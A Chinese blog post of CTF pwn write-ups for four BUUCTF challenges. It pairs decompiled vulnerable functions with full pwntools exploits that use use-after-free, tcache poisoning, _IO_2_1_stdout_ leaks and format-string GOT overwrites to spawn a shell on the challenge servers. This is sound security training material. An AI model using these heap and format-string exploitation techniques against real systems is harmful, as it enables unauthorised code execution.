代码编织梦想

gyctf_2020_document

gyctf_2020_document$ file gyctf_2020_document;checksec gyctf_2020_document 
gyctf_2020_document: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=54811a534aab1bd40188ff6bfcff12dbeafb5f08, stripped
[*] '/home/pwn/桌面/gyctf_2020_document/gyctf_2020_document'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

正常题目, 保护全开

add函数, name, sex, info

unsigned __int64 add()
{
  int i; // [rsp+Ch] [rbp-24h]
  _QWORD *v2; // [rsp+10h] [rbp-20h]
  _QWORD *content; // [rsp+18h] [rbp-18h]
  __int64 s; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < 7; ++i )
  {
    if ( !docs[i] )
    {
      v2 = malloc(8uLL);                        // 0x10 chunk
      content = malloc(0x80uLL);
      if ( !v2 || !content )
      {
        puts("Error occured!!!");
        exit(2);
      }
      puts("add success");
      *v2 = content;
      v2[1] = 1LL;
      puts("input name");
      memset(&s, 0, sizeof(s));
      readchs(&s, 8LL);
      *content = s;                             // content[0] <- name
      puts("input sex");
      memset(&s, 0, sizeof(s));
      readchs(&s, 1LL);
      puts("here");
      if ( (_BYTE)s == ch_W[0] )
      {
        content[1] = 1LL;                       // content[1] <- sex
      }
      else
      {
        puts("there");
        content[1] = 16LL;
      }
      puts("input information");
      readchs(content + 2, 112LL);              // content[2] <- information
      docs[i] = v2;
      puts("Success");
      break;
    }
  }
  if ( i == 7 )
    puts("Th3 1ist is fu11");
  return __readfsqword(0x28u) ^ v5;
}

delete函数, UAF

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&unk_202060 + v1) )
  {
    free(**((void ***)&unk_202060 + v1));
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
}

比较常规的UAF打free_hook(或者malloc_hook)

from pwn import *

url, port = "node4.buuoj.cn", 27352
filename = "./gyctf_2020_document"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(name, sex, content):
    io.sendlineafter('Give me your choice : \n', '1')
    io.sendafter("input name\n", name)
    io.sendafter("input sex\n", sex)
    io.sendafter("input information\n", content)

def show(index):
    io.sendlineafter('Give me your choice : \n', '2')
    io.sendlineafter("Give me your index : \n", str(index))

def edit(index, content):
    io.sendlineafter('Give me your choice : \n', '3')
    io.sendlineafter("Give me your index : \n", str(index))
    io.sendlineafter("Are you sure change sex?\n", 'N')
    io.sendafter("Now change information\n", content)

def delete(index):
    io.sendlineafter('Give me your choice : \n', '4')
    io.sendlineafter("Give me your index : \n", str(index))

def pwn():
    add('ffffa1c4', 'guesssss', cyclic(0x70))
    add('ffffa1c4', 'guesssss', cyclic(0x70))
    delete(0)
    show(0)
    libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b20 - 88
    free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    lf('free hook address', free_hook)
    lf('system address', system_addr)

    add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
    delete(1)

    add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
    payload = p64(0) + p64(0x21) + p64(free_hook - 0x10)
    payload += p64(1) + p64(0) + p64(0x51)
    payload = payload.ljust(0x70, b'\x00')

    edit(0, payload)
    payload = p64(system_addr).ljust(0x70, b'\x00')
    edit(3, payload)
    delete(2)


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_final_5

ciscn_2019_final_5$ file ciscn_final_5;checksec ciscn_final_5 
ciscn_final_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so, for GNU/Linux 2.6.32, BuildID[sha1]=ad75f1d8a9c718fae2aeb53bf0ebc5892400524c, stripped
[*] '/home/pwn/桌面/ciscn_2019_final_5/ciscn_final_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

add函数, 这个题的处理是比较奇怪的, 因为buf会和index进行|操作

__int64 add()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  __int64 or_res; // [rsp+18h] [rbp-8h]

  printf("index: ");
  index = choice("index: ");
  if ( index < 0 || index > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  printf("size: ");
  size = choice("size: ");
  if ( size < 0 || size > 4096 )
  {
    puts("size is invalid.");
    exit(-1);
  }
  buf = malloc(size);
  if ( !buf )
  {
    puts("malloc error.");
    exit(-1);
  }
  printf("content: ");
  read(0, buf, size);
  print_low12bits(buf);
  result = buf_or_index(buf, (unsigned int)index);
  or_res = result;
  for ( i = 0; i <= 16; ++i )
  {
    result = contents[i];
    if ( !result )
    {
      contents[i] = or_res;
      result = i;
      sizes[i] = size;
      break;
    }
  }
  if ( i == 17 )
  {
    puts("heap note is full.");
    exit(-1);
  }
  return result;
}

delete函数, 也比较诡异, 因为索引的下标和content的内容相关, 而且free掉的指针是抹掉低4bits的

int delete()
{
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]
  int index; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  result = choice("index: ");
  index = result;
  if ( result < 0 || result > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  for ( i = 0; i <= 16; ++i )
  {
    result = content_and_0xF(contents[i]);
    if ( result == index )
    {
      free((void *)(contents[i] & 0xFFFFFFFFFFFFFFF0LL));
      contents[i] = 0LL;
      sizes[i] = 0;
      result = puts("free success.\n");
      break;
    }
  }
  if ( i == 17 )
  {
    puts("free is invalid.");
    exit(-1);
  }
  return result;
}

漏洞通常出现在程序奇怪的逻辑处, 这题的漏洞也是出在index索引算法上
因为chunk的分配会对齐0x10, 所以低4bits均为0, 用ptr & 0xFFFFFFFFFFFFFFF0取指针是没问题的, 而在add时, 会把index | buf, 即buf指针实际上最后一位应该为0, 但是用来存储了index, (应该算是一种空间优化?
所以ptr & 0xF是取出index进行索引, 整体逻辑是行得通的, 但是问题也就出在这里.
考虑特殊情况, 如果输入index == 0x10 , 此时ptr | 0x10会改变实际的地址, 用低4bits保存index的预期功能就错了, 此时ptr & 0xF取出来的index为0, 所以index == 0x10index == 0索引到同一个index. 而且edit功能里这一点也可以利用, 因为指针会指向ptr & 0xFFFFFFFFFFFFFFF0, 而ptr | 0x10已经将ptr抬高了0x10, 所以会修改到邻近的下一个chunk的chunk header, 也就能控制presizesize

这个题就是逻辑漏洞的堆溢出, 改完chunk的size, delete之后会进入unsorted bin, 申请回来则可以控制更高地址的chunks, 用tcache attack申请出free_got地址的chunk, 修改free@got到puts@plt, 泄露libc然后再修改free@got到system

因为索引地址的算法问题, 需要修改0x602010的地址处才能覆盖free@got, 而且应该用index=8索引, 下图是调试时用index=0索引发现索引到puts@got, 才意识到索引算法的问题所在
在这里插入图片描述
另外因为index是按content的低4bits的值索引的, 而且是从小到大遍历索引, 所以需要puts_got + 1, 而free@gotindex=8索引, 最后delete掉第0个index的content, 再用index=8索引到atoi@got, 利用索引算法的歧义性完成payload的构造, 这里的利用相当精巧

from pwn import *

url, port = "node4.buuoj.cn", 25558
filename = "./ciscn_final_5"
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(index, size, content):
    io.sendlineafter('your choice: ', '1')
    io.sendlineafter('index: ', str(index))
    io.sendlineafter('size: ', str(size))
    io.sendafter('content: ', content)
    io.recvuntil('low 12 bits: ')
    return int(io.recvuntil('\n', drop=True), 16)

def delete(index):
    io.sendlineafter('your choice: ', '2')
    io.sendlineafter('index: ', str(index))

def edit(index, content):
    io.sendlineafter('your choice: ', '3')
    io.sendlineafter('index: ', str(index))
    io.sendafter('content: ', content)

def pwn():
    free_got = elf.got['free']
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    atoi_got = elf.got['atoi']
    contents_addr = 0x00000000006020E0

    add(16, 0x20, 'chunk0')
    add(1, 0x20, 'chunk1')
    add(2, 0x20, 'chunk2')
    add(3, 0x20, 'chunk3')
    add(4, 0x20, 'chunk4')
    # B()
    payload = cyclic(0x10) + p64(0) + p64(0x181)
    edit(0, payload)
    # B()
    delete(1) # unsorted bin 
    delete(2)
    payload = cyclic(0x20) + p64(0) + p64(0x31) + p64(contents_addr)
    add(1, 0x170, payload)
    # B()
    add(2, 0x20, 'chunk5')

    payload = p64(free_got) + p64(puts_got + 1) + p64(atoi_got) * 2
    # B()
    add(5, 0x20, payload)
    # B()
    edit(8, p64(puts_plt) * 2)
    # B()
    delete(1) # leak puts address
    puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    lf('puts address', puts_addr)
    lf('system address', system_addr)
    
    delete(8) # set free@got to 0 and index will get atoi@got
    edit(8, p64(system_addr) * 2)
    io.sendlineafter('your choice: ', '/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
逻辑漏洞 + 堆溢出 + tcache attack + 无show泄露 + 劫持got表

roarctf_2019_realloc_magic

roarctf_2019_realloc_magic$ file roarctf_2019_realloc_magic;checksec roarctf_2019_realloc_magic
roarctf_2019_realloc_magic: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d7be4b70bdfe7373cf768112a90fe7f2783264e, not stripped
[*] '/home/pwn/桌面/roarctf_2019_realloc_magic/roarctf_2019_realloc_magic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

只有add和delete以及一个清空realloc_ptr的函数, 因为保护Full RELRO开启, 所以也无法劫持got表实现free@got到puts@plt泄露libc

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 2:
        fr();
        break;
      case 666:
        ba();
        break;
      case 1:
        re();
        break;
      default:
        puts("invalid choice");
        break;
    }
  }
}

ba函数, 将realloc_ptr置为0, 但只能用一次

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

re函数, 即delete函数, 如果用re函数释放chunk, 这里由于realloc的特性, 不会将ptr置为空, 所以存在double free漏洞

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

整个程序一次只能操控一个chunk, 实际上也够了

这题需要realloc的冷(re)知识
realloc(realloc_ptr, size);
(1) realloc_ptr != null && size == 0, 相当于free
(2) realloc_ptr == null && size > 0, 相当于malloc
(3) 原size >= realloc的size, 则chunk直接缩小, 剩余部分归到bins中, 返回ptr
(4) 原size < realloc的size, 分两种情况, 如果该chunk之后空间充足, 则直接扩充然后返回ptr; 否则另外malloc(size), copy内容过去, 然后free(原ptr), 返回新ptr.
因为保护全开且无show, 所以这种情况还需要利用_IO_2_1_stdout_实现无show泄露
原理可以参考Ex师傅的blog

漏洞利用: unsortedbin attack + tcache attack劫持_IO_2_1_stdout_(需要爆破4bits, 1/16的概率), 泄露libc; 然后清空ptr指针, 继续tcache attack劫持free_hook到one gadget

from pwn import *

url, port = "node4.buuoj.cn", 29332
filename = "./roarctf_2019_realloc_magic"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
context.log_level = "debug"

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def realloc(size=0, content=b'\x00'):
    io.sendlineafter('>> ', '1')
    io.sendlineafter('Size?', str(size))
    io.recvuntil("Content?")
    if size > 0: io.send(content)

def delete():
    io.sendlineafter('>> ', '2')

def clearptr():
    io.sendlineafter('>> ', '666')

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

def pwn():
    one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]

    realloc(0x30)
    realloc()
    realloc(0x80)
    realloc()
    realloc(0x40)
    realloc()

    realloc(0x80)
    for i in range(7): # fill tcache
        delete()

    realloc() # put into unsortbin
    realloc(0x30)
    payload = cyclic(0x38) + p64(0x51) + p8(0x60) + p8(0x87)
    realloc(0x50, payload) # overlap
    realloc()
    # B()
    realloc(0x80)
    # B()
    realloc()

    payload = p64(0xFBAD1887) + p64(0) * 3 + p8(0x58)
    # get _IO_2_1_stdout_ and change flag 
    realloc(0x80, payload)

    # leak libc
    libc_base = u64(io.recvuntil(b'\x7f', timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3e82a0
    # if libc_base == -0x3e82a0: exit(-1)
    lf('libc base address', libc_base)

    free_hook = libc_base + libc.sym['__free_hook']
    one_gadget = libc_base + one_gadgets[1]

    clearptr()
    # exploiting the same as above
    realloc(0x110)
    realloc()
    realloc(0x120)
    realloc()
    realloc(0x130)
    realloc()

    realloc(0x120)
    for i in range(7):
        delete()
    realloc()

    realloc(0x110)
    payload = cyclic(0x118) + p64(0x241) + p64(free_hook)
    realloc(0x240, payload)
    realloc()
    realloc(0x120)
    realloc()
    realloc(0x120, p64(one_gadget))
    delete()


if __name__ == "__main__":
    while True:
        if local:
            io = process(filename)
        else:
            io = remote(url, port)

        try:
            pwn()
            io.interactive()
        except:
            io.close()

之后本地打通了, 但是打远程的时候发现上百次pwn都打不通, 可能是网络延迟问题, 把timeout改大一点就通了

小结
realloc double free + unsorted bin attack + _IO_2_1_stdout_泄露libc + tcache attack(tcache poisoning) + 爆破4bits + 劫持free_hook + 打one_gadget
肉眼可见的复杂度 OvO (其实也还好, 就是调试比较费劲, 前后调了3个多小时

houseoforange_hitcon_2016

经典题目, 看另一篇单独的blog解析
hitcon2016 house of orange

SWPUCTF_2019_login

SWPUCTF_2019_login$ file SWPUCTF_2019_login;checksec SWPUCTF_2019_login
SWPUCTF_2019_login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbbf329da12ebdd87dcae5d032eda61796f7d0c3, stripped
[*] '/home/pwn/桌面/SWPUCTF_2019_login/SWPUCTF_2019_login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Please input your name: ");
  read(0, &unk_804B080, 0xCu);
  puts("Base maybe not easy......");
  return sub_80485E3();
}

int sub_80485E3()
{
  printf("hello, %s", byte_804B080);
  return sub_804854B();
}

在这里插入图片描述
BSS段的fmt漏洞, 倒是第一次见到

不过利用方法, 跟堆上的fmt漏洞相似, 为ebp链实现的got表劫持

from pwn import *

url, port = "node4.buuoj.cn", 26466
filename = "./SWPUCTF_2019_login"
elf = ELF(filename)
libc = ELF('./libc32-2.27.so')
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    io.sendlineafter('name:', 'fa1c4')
    io.sendlineafter('password:', '%15$p')
    io.recvuntil('0x')
    __libc_start_main = int(io.recvuntil('\n', drop=True), 16) - 0xf1
    libc_base = __libc_start_main - libc.sym['__libc_start_main']
    system_addr = libc_base + libc.sym['system']
    lf('libc base address', libc_base)
    lf('system address', system_addr)

    io.sendlineafter('Try again!', '%6$p')
    io.recvuntil('0x')
    stack_addr0 = int(io.recvuntil('\n', drop=True), 16)
    lf('stack address 0', stack_addr0)

    io.sendlineafter('Try again!', '%10$p')
    io.recvuntil('0x')
    stack_addr1 = int(io.recvuntil('\n', drop=True), 16)
    lf('stack address 1', stack_addr1)

    # change $14$p to printf@got
    payload = '%' + str(0x14) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x14

    payload = '%' + str((stack_addr1 & 0xff) + 1) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0xb0) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0xb0

    payload = '%' + str((stack_addr1 & 0xff) + 2) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0x04) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x04

    payload = '%' + str((stack_addr1 & 0xff) + 3) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0x08) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x08

    # change %15$p to printf@got + 1
    stack_addr2 = stack_addr1 + 4
    payload = '%' + str(stack_addr2 & 0xff) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x15) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x15

    payload = '%' + str((stack_addr2 & 0xff) + 1) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0xb0) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0xb0

    payload = '%' + str((stack_addr2 & 0xff) + 2) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x04) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x04

    payload = '%' + str((stack_addr2 & 0xff) + 3) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x08) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x08

    payload = '%' + str(system_addr & 0xff) + 'c' + '%14$hhn'
    payload += '%' + str(((system_addr & 0xffff00) >> 8) - 0x10) + 'c' + '%15$hn'
    io.sendlineafter('Try again!', payload)
    sleep(0.3)
    io.sendline('/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

这个题本地调试(Ubuntu20.04)跟远程环境有差, 目前没找到原因, 可能需要用ubuntu18? 暂时先算一个疑点, 之后回来填坑

阶段性总结

断断续续花了几个月时间刷BUUCTF的PWN题, 截止目前已经做了130题, 并且全部都是python3打的(一个是有点标新立异的意味, 另一个是强制要求亲自实现每一个exp, 因为大部分师傅的exp都是python2写的, 直接ctrl c +ctrl v一般都不能通)
水平还是挺菜的, 不过应该算是入门了基础的PWN, 现在也要正式考虑一下PWN二转的事情了, 跟着圈内师傅们混和各种涉猎也算有一点点积累, PWN二转可以考虑的方向包括但不限于:

  • Kernel pwn,
  • IoT pwn,
  • VM pwn,
  • Chrome pwn,
  • Windows pwn
  • Android pwn

以及漏洞挖掘方向

  • IoT fuzz
  • linux kernel fuzz
  • windows kernel fuzz
  • Android fuzz
  • network protocol fuzz

当然漏洞挖掘方向fuzzing也只是一个分支, 目前还没入坑, 暂且先这么总结叭

AI方向 (BinaryAI

  • AutoPwn
  • AI PWN
  • AI + 漏洞挖掘
  • AI + 程序分析(或许可以包括在漏洞挖掘里)
  • AI + 逆向工程
  • AI + 漏洞修复

程序分析方向
其实程序分析应该算是一门独立的学科, 虽然可以服务于漏洞挖掘和利用
程序分析基础也要开始学习了, 科研工作标配之一…

总之PWN的世界之广阔和丰富依然是才疏学浅的我难以想象的
BUUCTF PWN WP系列先停更一段时间, 目前的打算是之后比较长一段时间将处在开荒阶段, 开始探索各个有趣的新地图了

这里再引用一次TK教主的口头禅: 先干了再说

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_33976344/article/details/123408683

BUUCTF PWN 1-20-爱代码爱编程

目录 1、test_your_nc 2、rip  3、warmup_csaw_2016   4、pwn1_sctf_2016 5、ciscn_2019_n_1 6、jarvisoj_level0 7、ciscn_2019_c_1 8、[OGeek2019]babyrop 9、[第五空间2019 决赛]PWN5 10、[BJDCTF 2n

REVERSE-PRACTICE-BUUCTF-17-爱代码爱编程

REVERSE-PRACTICE-BUUCTF-17 [网鼎杯 2020 青龙组]jocker[2019红帽杯]childRE[MRCTF2020]PixelShooter[ACTF新生赛2020]SoulLike [网鼎杯 2020 青龙组]jocker exe程序,运行后提示输入flag,无壳,用ida分析 main函数平衡栈后,F5反汇

BUUCTF reverse26-30 WP-爱代码爱编程

写脚本技术很菜,所以和其他wp相比看起来比较麻烦笔记是按照当时的题目排序写的,顺序可能有出入做题是从0开始做起,所以前面部分也会尽可能写的详细一点只要能记录并且了解到怎么做即可,所以就没有去在意排版遇到不会的函数尽可能去百度了解 题目:[SUCTF2019]SignIn、相册、[BJDCTF2020]easy、[ACTF新生赛2020]usualCryp

BUUCTF pwn wp 1 - 5-爱代码爱编程

test_your_nc nc node3.buuoj.cn 29066 rip s ← argv 直接输入一个字符串, gets()栈溢出 返回到后门函数fun(). 因为是Ubuntu18, 考虑被调用函数负责堆栈平衡, 所以劫持函数流时需要pop一下, 或者调用system函数时不能push rbp. 所以劫持到0x4011

BUUCTF|PWN-rip-WP-爱代码爱编程

1、下载文件并开启靶机 2、查看文件信息   checksec pwn1   3、我们看到该文件是64位的文件,用64位IDA打开该文件 3.1、shift+f12查看关键字符串  3.2、双击关键字符串,进入反编译代码区  3.3、利用Linux gdb查找fun()的位置信息 gdb pwn1 $:b fun

BUUCTF pwn wp 21 - 25-爱代码爱编程

铁人三项(第五赛区)_2018_rop 栈溢出 DynELF, ret2libc from pwn import * url, port = "node4.buuoj.cn", 26882 filename = "./2018_rop" elf = ELF(filename) write_plt = elf.plt["write"] read_

BUUCTF pwn wp 31 - 35-爱代码爱编程

[Black Watch 入群题]PWN 溢出8字节, 栈迁移, bss段写入ROP, 泄露libc, ret2libc from pwn import * from LibcSearcher import * url, port = "node4.buuoj.cn", 27358 filename = "./spwn" elf = ELF(f

BUUCTF pwn wp 51 - 55-爱代码爱编程

wustctf2020_getshell_2 简单rop from pwn import * url, port = "node4.buuoj.cn", 25118 filename = "./wustctf2020_getshell_2" elf = ELF(filename) # libc = ELF("./") # context(ar

BUUCTF pwn wp 76 - 80-爱代码爱编程

cmcc_pwnme2 int __cdecl userfunction(char *src) { char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF strcpy(dest, src); return printf("Hello, %s\n", src); } fmt漏洞但是用不上, 看一下可以

BUUCTF pwn wp 111 - 115-爱代码爱编程

judgement_mna_2016 judgement_mna_2016$ file judgement_mna_2016;checksec judgement_mna_2016 judgement_mna_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamica

buuctf pwn wp 81 -爱代码爱编程

wdb_2018_2nd_easyfmt int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char buf